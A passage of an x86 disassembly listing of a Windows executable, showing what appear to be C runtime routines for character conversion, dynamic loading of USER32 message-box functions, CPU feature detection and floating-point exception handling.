		jz	short loc_40F753
		cmp	[eax], bl
		jz	short loc_40F755
		inc	eax
		mov	[esi], eax
		jmp	short loc_40F705
; ---------------------------------------------------------------------------

loc_40F753:				; CODE XREF: sub_40F64F+F9j
		mov	[eax], bl

loc_40F755:				; CODE XREF: sub_40F64F+FDj
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	eax, 0FFFFFFEFh
		or	eax, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_40F707
sub_40F64F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F76D	proc near		; CODE XREF: sub_409217+6FFp
					; sub_40F880+Ep

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_40F791
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F791
		cmp	[esi], bl
		jnz	short loc_40F797
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_40F791
		mov	[eax], bx

loc_40F791:				; CODE XREF: sub_40F76D+Fj
					; sub_40F76D+14j ...
		xor	eax, eax

loc_40F793:				; CODE XREF: sub_40F76D+5Aj
					; sub_40F76D+BBj ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F797:				; CODE XREF: sub_40F76D+18j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_40F7C9
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_40F7B8
		movzx	cx, byte ptr [esi]
		mov	[eax], cx

loc_40F7B8:				; CODE XREF: sub_40F76D+42j
					; sub_40F76D+10Bj
		cmp	[ebp+var_4], bl
		jz	short loc_40F7C4
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40F7C4:				; CODE XREF: sub_40F76D+4Ej
		xor	eax, eax
		inc	eax
		jmp	short loc_40F793
; ---------------------------------------------------------------------------

loc_40F7C9:				; CODE XREF: sub_40F76D+3Bj
		lea	eax, [ebp+var_10]
		push	eax
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_40CDB0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40F859
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0ACh]
		cmp	ecx, 1
		jle	short loc_40F80F
		cmp	[ebp+arg_8], ecx
		jl	short loc_40F80F
		xor	edx, edx
		cmp	[ebp+arg_0], ebx
		setnz	dl
		push	edx
		push	[ebp+arg_0]
		push	ecx
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	ds:dword_41D0A0	; MultiByteToWideChar
		test	eax, eax
		mov	eax, [ebp+var_10]
		jnz	short loc_40F81F

loc_40F80F:				; CODE XREF: sub_40F76D+7Bj
					; sub_40F76D+80j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, [eax+0ACh]
		jb	short loc_40F83A
		cmp	[esi+1], bl
		jz	short loc_40F83A

loc_40F81F:				; CODE XREF: sub_40F76D+A0j
		cmp	[ebp+var_4], bl
		mov	eax, [eax+0ACh]
		jz	loc_40F793
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_40F793
; ---------------------------------------------------------------------------

loc_40F83A:				; CODE XREF: sub_40F76D+ABj
					; sub_40F76D+B0j ...
		call	sub_405B83
		mov	dword ptr [eax], 2Ah
		cmp	[ebp+var_4], bl
		jz	short loc_40F851
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40F851:				; CODE XREF: sub_40F76D+DBj
		or	eax, 0FFFFFFFFh
		jmp	loc_40F793
; ---------------------------------------------------------------------------

loc_40F859:				; CODE XREF: sub_40F76D+6Dj
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_10]
		push	1
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	ds:dword_41D0A0	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_40F7B8
		jmp	short loc_40F83A
sub_40F76D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F880	proc near		; CODE XREF: sub_40D20A+18Ep
					; sub_40D20A+1BCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40F76D
		add	esp, 10h
		retn
sub_40F880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40F8A0	proc near		; CODE XREF: sub_409217+9CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_40F8B9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_40F8B9:				; CODE XREF: sub_40F8A0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_40F8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8D4	proc near		; CODE XREF: sub_409E64+15Dp

var_30		= dword	ptr -30h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		call	sub_40553A
		xor	ebx, ebx
		cmp	dword_427EC8, ebx
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		jnz	loc_40F9A9
		push	offset aUser32_dll_0 ; "USER32.DLL"
		call	ds:off_41D0E4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40F914

loc_40F90D:				; CODE XREF: sub_40F8D4+50j
		xor	eax, eax
		jmp	loc_40FA6D
; ---------------------------------------------------------------------------

loc_40F914:				; CODE XREF: sub_40F8D4+37j
		mov	esi, ds:off_41D0E8
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; sub_443AC1
		cmp	eax, ebx
		jz	short loc_40F90D
		push	eax
		call	sub_4054D7
		mov	[esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		mov	dword_427EC8, eax
		call	esi ; sub_443AC1
		push	eax
		call	sub_4054D7
		mov	[esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_427ECC, eax
		call	esi ; sub_443AC1
		push	eax
		call	sub_4054D7
		mov	dword_427ED0, eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407CB6
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40F977
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4031FD
		add	esp, 14h

loc_40F977:				; CODE XREF: sub_40F8D4+94j
		cmp	[ebp+var_8], 2
		jnz	short loc_40F9A9
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi ; sub_443AC1
		push	eax
		call	sub_4054D7
		cmp	eax, ebx
		pop	ecx
		mov	dword_427ED8, eax
		jz	short loc_40F9A9
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi ; sub_443AC1
		push	eax
		call	sub_4054D7
		pop	ecx
		mov	dword_427ED4, eax

loc_40F9A9:				; CODE XREF: sub_40F8D4+22j
					; sub_40F8D4+A7j ...
		mov	eax, dword_427ED4
		mov	esi, [ebp+var_10]
		cmp	eax, esi
		jz	short loc_40FA22
		cmp	dword_427ED8, esi
		jz	short loc_40FA22
		push	eax
		call	sub_405543
		pop	ecx
		call	eax
		cmp	eax, ebx
		jz	short loc_40F9EF
		lea	ecx, [ebp+var_14]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_20]
		push	ecx
		push	1
		push	eax
		push	dword_427ED8
		call	sub_405543
		pop	ecx
		call	eax
		test	eax, eax
		jz	short loc_40F9EF
		test	[ebp+var_18], 1
		jnz	short loc_40FA22

loc_40F9EF:				; CODE XREF: sub_40F8D4+F4j
					; sub_40F8D4+113j
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_407CED
		test	eax, eax
		pop	ecx
		jz	short loc_40FA0A
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4031FD
		add	esp, 14h

loc_40FA0A:				; CODE XREF: sub_40F8D4+127j
		cmp	[ebp+var_C], 4
		jb	short loc_40FA19
		or	[ebp+arg_8], 200000h
		jmp	short loc_40FA53
; ---------------------------------------------------------------------------

loc_40FA19:				; CODE XREF: sub_40F8D4+13Aj
		or	[ebp+arg_8], 40000h
		jmp	short loc_40FA53
; ---------------------------------------------------------------------------

loc_40FA22:				; CODE XREF: sub_40F8D4+DFj
					; sub_40F8D4+E7j ...
		mov	eax, dword_427ECC
		cmp	eax, esi
		jz	short loc_40FA53
		push	eax
		call	sub_405543
		pop	ecx
		call	eax
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40FA53
		mov	eax, dword_427ED0
		cmp	eax, esi
		jz	short loc_40FA53
		push	[ebp+var_4]
		push	eax
		call	sub_405543
		pop	ecx
		call	eax
		mov	[ebp+var_4], eax

loc_40FA53:				; CODE XREF: sub_40F8D4+143j
					; sub_40F8D4+14Cj ...
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	dword_427EC8
		call	sub_405543
		pop	ecx
		call	eax

loc_40FA6D:				; CODE XREF: sub_40F8D4+3Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F8D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA72	proc near		; CODE XREF: sub_409E64+27p
					; sub_409E64+38p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jl	short loc_40FA9B
		cmp	ecx, 2
		jle	short loc_40FA8E
		cmp	ecx, 3
		jnz	short loc_40FA9B
		mov	eax, dword_4274DC
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40FA8E:				; CODE XREF: sub_40FA72+Ej
		mov	eax, dword_4274DC
		mov	dword_4274DC, ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40FA9B:				; CODE XREF: sub_40FA72+9j
					; sub_40FA72+13j
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_40FA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FAB8	proc near		; CODE XREF: sub_410107+5Fp
					; DATA XREF: sub_40AA2F:loc_40AA71o
		xor	eax, eax
		retn
sub_40FAB8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_444. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40FABC	proc near		; CODE XREF: sub_40FB1Cp
		mov	eax, offset sub_4116FA
		mov	off_423F80, eax
		mov	off_423F84, offset sub_410DF6
		mov	off_423F88, offset sub_410DB4
		mov	off_423F8C, offset sub_410DE8
		mov	off_423F90, offset word_410D5E
		mov	off_423F94, eax
		mov	off_423F98, offset sub_411674
		mov	off_423F9C, offset sub_410D74
		mov	off_423FA0, offset sub_410CDE
		mov	off_423FA4, offset sub_410C6D
		retn
sub_40FABC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB1C	proc near		; CODE XREF: sub_407D29+1Cp
					; DATA XREF: c.7ld2ih:off_41EDA4o

arg_0		= dword	ptr  4

		call	sub_40FABC
		call	sub_411780
		cmp	[esp+arg_0], 0
		mov	dword_427EE0, eax
		jz	short loc_40FB37
		call	sub_41171B

loc_40FB37:				; CODE XREF: sub_40FB1C+14j
		fnclex
		retn
sub_40FB1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB3A	proc near		; CODE XREF: sub_40FB8A+4Dp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_421BF8
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_40FB7A
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_40FB6F
		cmp	eax, 0C000001Dh
		jz	short loc_40FB6F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40FB6F:				; CODE XREF: sub_40FB3A+29j
					; sub_40FB3A+30j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+var_1C], 0

loc_40FB7A:				; CODE XREF: sub_40FB3A+1Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40FB3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB8A	proc near		; CODE XREF: sub_40ACDF+7p sub_40FBEAp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		xor	eax, eax
		push	ebx
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		push	ebx
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_40FBCD
		push	ecx
		popf
		xor	eax, eax
		cpuid
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	eax, 1
		cpuid
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax

loc_40FBCD:				; CODE XREF: sub_40FB8A+22j
		pop	ebx
		test	[ebp+var_4], 4000000h
		jz	short loc_40FBE5
		call	sub_40FB3A
		test	eax, eax
		jz	short loc_40FBE5
		xor	eax, eax
		inc	eax
		jmp	short loc_40FBE7
; ---------------------------------------------------------------------------

loc_40FBE5:				; CODE XREF: sub_40FB8A+4Bj
					; sub_40FB8A+54j
		xor	eax, eax

loc_40FBE7:				; CODE XREF: sub_40FB8A+59j
		pop	ebx
		leave
		retn
sub_40FB8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FBEA	proc near		; DATA XREF: c.7ld2ih:0041D2E4o
		call	sub_40FB8A
		mov	dword_4356E0, eax
		xor	eax, eax
		retn
sub_40FBEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FBF7	proc near		; CODE XREF: sub_4101F8+4Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	cl, byte ptr [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[eax+4], edi
		mov	eax, [ebp+arg_0]
		xor	ebx, ebx
		mov	[eax+8], edi
		mov	eax, [ebp+arg_0]
		inc	ebx
		test	cl, 10h
		mov	[eax+0Ch], edi
		jz	short loc_40FC29
		mov	eax, [ebp+arg_0]
		or	[eax+4], ebx
		mov	[ebp+arg_8], 0C000008Fh

loc_40FC29:				; CODE XREF: sub_40FBF7+23j
		test	cl, 2
		jz	short loc_40FC3C
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 2
		mov	[ebp+arg_8], 0C0000093h

loc_40FC3C:				; CODE XREF: sub_40FBF7+35j
		test	cl, bl
		jz	short loc_40FC4E
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 4
		mov	[ebp+arg_8], 0C0000091h

loc_40FC4E:				; CODE XREF: sub_40FBF7+47j
		test	cl, 4
		jz	short loc_40FC61
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8
		mov	[ebp+arg_8], 0C000008Eh

loc_40FC61:				; CODE XREF: sub_40FBF7+5Aj
		test	cl, 8
		jz	short loc_40FC74
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 10h
		mov	[ebp+arg_8], 0C0000090h

loc_40FC74:				; CODE XREF: sub_40FBF7+6Dj
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shl	ecx, 4
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 10h
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		add	ecx, ecx
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 8
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 1
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 4
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 3
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 2
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 5
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, ebx
		xor	[eax+8], ecx
		call	sub_4103F7
		test	al, bl
		jz	short loc_40FCE3
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_40FCE3:				; CODE XREF: sub_40FBF7+E3j
		test	al, 4
		jz	short loc_40FCEE
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_40FCEE:				; CODE XREF: sub_40FBF7+EEj
		test	al, 8
		jz	short loc_40FCF9
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_40FCF9:				; CODE XREF: sub_40FBF7+F9j
		test	al, 10h
		jz	short loc_40FD04
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 2

loc_40FD04:				; CODE XREF: sub_40FBF7+104j
		test	al, 20h
		jz	short loc_40FD0E
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_40FD0E:				; CODE XREF: sub_40FBF7+10Fj
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_40FD4E
		cmp	eax, 400h
		jz	short loc_40FD42
		cmp	eax, 800h
		jz	short loc_40FD33
		cmp	eax, ecx
		jnz	short loc_40FD54
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_40FD54
; ---------------------------------------------------------------------------

loc_40FD33:				; CODE XREF: sub_40FBF7+12Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, 2

loc_40FD3E:				; CODE XREF: sub_40FBF7+155j
		mov	[eax], ecx
		jmp	short loc_40FD54
; ---------------------------------------------------------------------------

loc_40FD42:				; CODE XREF: sub_40FBF7+127j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx
		jmp	short loc_40FD3E
; ---------------------------------------------------------------------------

loc_40FD4E:				; CODE XREF: sub_40FBF7+120j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_40FD54:				; CODE XREF: sub_40FBF7+132j
					; sub_40FBF7+13Aj ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_40FD7F
		cmp	eax, 200h
		jz	short loc_40FD72
		cmp	eax, ecx
		jnz	short loc_40FD8C
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_40FD8C
; ---------------------------------------------------------------------------

loc_40FD72:				; CODE XREF: sub_40FBF7+16Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_40FD8A
; ---------------------------------------------------------------------------

loc_40FD7F:				; CODE XREF: sub_40FBF7+166j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_40FD8A:				; CODE XREF: sub_40FBF7+186j
		mov	[eax], ecx

loc_40FD8C:				; CODE XREF: sub_40FBF7+171j
					; sub_40FBF7+179j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		shl	ecx, 5
		xor	ecx, [eax]
		and	ecx, 1FFE0h
		xor	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		cmp	[ebp+arg_18], edi
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_14]
		jz	short loc_40FDD6
		and	dword ptr [eax+20h], 0FFFFFFE1h
		mov	eax, [ebp+arg_10]
		fld	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	dword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+60h], ebx
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+60h], 0FFFFFFE1h
		fld	dword ptr [edi]
		mov	eax, [ebp+arg_0]
		fstp	dword ptr [eax+50h]
		jmp	short loc_40FE0A
; ---------------------------------------------------------------------------

loc_40FDD6:				; CODE XREF: sub_40FBF7+1B7j
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, 2
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+60h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		and	ecx, 0FFFFFFE3h
		or	ecx, 2
		mov	[eax+60h], ecx
		fld	qword ptr [edi]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+50h]

loc_40FE0A:				; CODE XREF: sub_40FBF7+1DDj
		call	sub_410402
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:off_41D1AC
		mov	ecx, [ebp+arg_0]
		test	byte ptr [ecx+8], 10h
		jz	short loc_40FE2B
		and	dword ptr [esi], 0FFFFFFFEh

loc_40FE2B:				; CODE XREF: sub_40FBF7+22Fj
		test	byte ptr [ecx+8], 8
		jz	short loc_40FE34
		and	dword ptr [esi], 0FFFFFFFBh

loc_40FE34:				; CODE XREF: sub_40FBF7+238j
		test	byte ptr [ecx+8], 4
		jz	short loc_40FE3D
		and	dword ptr [esi], 0FFFFFFF7h

loc_40FE3D:				; CODE XREF: sub_40FBF7+241j
		test	byte ptr [ecx+8], 2
		jz	short loc_40FE46
		and	dword ptr [esi], 0FFFFFFEFh

loc_40FE46:				; CODE XREF: sub_40FBF7+24Aj
		test	[ecx+8], bl
		jz	short loc_40FE4E
		and	dword ptr [esi], 0FFFFFFDFh

loc_40FE4E:				; CODE XREF: sub_40FBF7+252j
		mov	eax, [ecx]
		and	eax, 3
		xor	ebx, ebx
		sub	eax, ebx
		mov	edx, 0FFFFF3FFh
		jz	short loc_40FE8D
		dec	eax
		jz	short loc_40FE7F
		dec	eax
		jz	short loc_40FE6F
		dec	eax
		jnz	short loc_40FE8F
		or	dword ptr [esi], 0C00h
		jmp	short loc_40FE8F
; ---------------------------------------------------------------------------

loc_40FE6F:				; CODE XREF: sub_40FBF7+26Bj
		mov	eax, [esi]
		and	eax, 0FFFFFBFFh
		or	eax, 800h

loc_40FE7B:				; CODE XREF: sub_40FBF7+294j
		mov	[esi], eax
		jmp	short loc_40FE8F
; ---------------------------------------------------------------------------

loc_40FE7F:				; CODE XREF: sub_40FBF7+268j
		mov	eax, [esi]
		and	eax, 0FFFFF7FFh
		or	eax, 400h
		jmp	short loc_40FE7B
; ---------------------------------------------------------------------------

loc_40FE8D:				; CODE XREF: sub_40FBF7+265j
		and	[esi], edx

loc_40FE8F:				; CODE XREF: sub_40FBF7+26Ej
					; sub_40FBF7+276j ...
		mov	eax, [ecx]
		shr	eax, 2
		and	eax, 7
		sub	eax, ebx
		jz	short loc_40FEB0
		dec	eax
		jz	short loc_40FEA5
		dec	eax
		jnz	short loc_40FEBB
		and	[esi], edx
		jmp	short loc_40FEBB
; ---------------------------------------------------------------------------

loc_40FEA5:				; CODE XREF: sub_40FBF7+2A5j
		mov	eax, [esi]
		and	eax, edx
		or	eax, 200h
		jmp	short loc_40FEB9
; ---------------------------------------------------------------------------

loc_40FEB0:				; CODE XREF: sub_40FBF7+2A2j
		mov	eax, [esi]
		and	eax, edx
		or	eax, 300h

loc_40FEB9:				; CODE XREF: sub_40FBF7+2B7j
		mov	[esi], eax

loc_40FEBB:				; CODE XREF: sub_40FBF7+2A8j
					; sub_40FBF7+2ACj
		cmp	[ebp+arg_18], ebx
		jz	short loc_40FEC7
		fld	dword ptr [ecx+50h]
		fstp	dword ptr [edi]
		jmp	short loc_40FECC
; ---------------------------------------------------------------------------

loc_40FEC7:				; CODE XREF: sub_40FBF7+2C7j
		fld	qword ptr [ecx+50h]
		fstp	qword ptr [edi]

loc_40FECC:				; CODE XREF: sub_40FBF7+2CEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40FBF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FED1	proc near		; CODE XREF: sub_4101F8+21p

var_28		= qword	ptr -28h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, eax
		and	esi, 1Fh
		inc	ebx
		test	al, 8
		mov	[ebp+var_4], esi
		jz	short loc_40FEFF
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_40FEFF
		push	ebx
		call	sub_410435
		pop	ecx
		and	esi, 0FFFFFFF7h
		jmp	loc_410090
; ---------------------------------------------------------------------------

loc_40FEFF:				; CODE XREF: sub_40FED1+18j
					; sub_40FED1+1Dj
		test	al, 4
		jz	short loc_40FF19
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_40FF19
		push	4
		call	sub_410435
		pop	ecx
		and	esi, 0FFFFFFFBh
		jmp	loc_410090
; ---------------------------------------------------------------------------

loc_40FF19:				; CODE XREF: sub_40FED1+30j
					; sub_40FED1+36j
		test	al, bl
		jz	loc_40FFBB
		test	byte ptr [ebp+arg_8], 8
		jz	loc_40FFBB
		push	8
		call	sub_410435
		mov	eax, [ebp+arg_8]
		pop	ecx
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_40FF93
		cmp	eax, 400h
		jz	short loc_40FF7D
		cmp	eax, 800h
		jz	short loc_40FF67
		cmp	eax, ecx
		jnz	short loc_40FFB3
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		fld	dbl_4240C8
		test	ah, 5
		jnp	short loc_40FFB1
		jmp	short loc_40FFAF
; ---------------------------------------------------------------------------

loc_40FF67:				; CODE XREF: sub_40FED1+7Aj
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		test	ah, 5
		jnp	short loc_40FFA1
		fld	dbl_4240C8
		jmp	short loc_40FFAF
; ---------------------------------------------------------------------------

loc_40FF7D:				; CODE XREF: sub_40FED1+73j
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		test	ah, 5
		jp	short loc_40FFA9
		fld	dbl_4240C8
		jmp	short loc_40FFB1
; ---------------------------------------------------------------------------

loc_40FF93:				; CODE XREF: sub_40FED1+6Cj
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		test	ah, 5
		jp	short loc_40FFA9

loc_40FFA1:				; CODE XREF: sub_40FED1+A2j
		fld	dbl_4240B8
		jmp	short loc_40FFB1
; ---------------------------------------------------------------------------

loc_40FFA9:				; CODE XREF: sub_40FED1+B8j
					; sub_40FED1+CEj
		fld	dbl_4240B8

loc_40FFAF:				; CODE XREF: sub_40FED1+94j
					; sub_40FED1+AAj
		fchs

loc_40FFB1:				; CODE XREF: sub_40FED1+92j
					; sub_40FED1+C0j ...
		fstp	qword ptr [ecx]

loc_40FFB3:				; CODE XREF: sub_40FED1+7Ej
		and	esi, 0FFFFFFFEh
		jmp	loc_410090
; ---------------------------------------------------------------------------

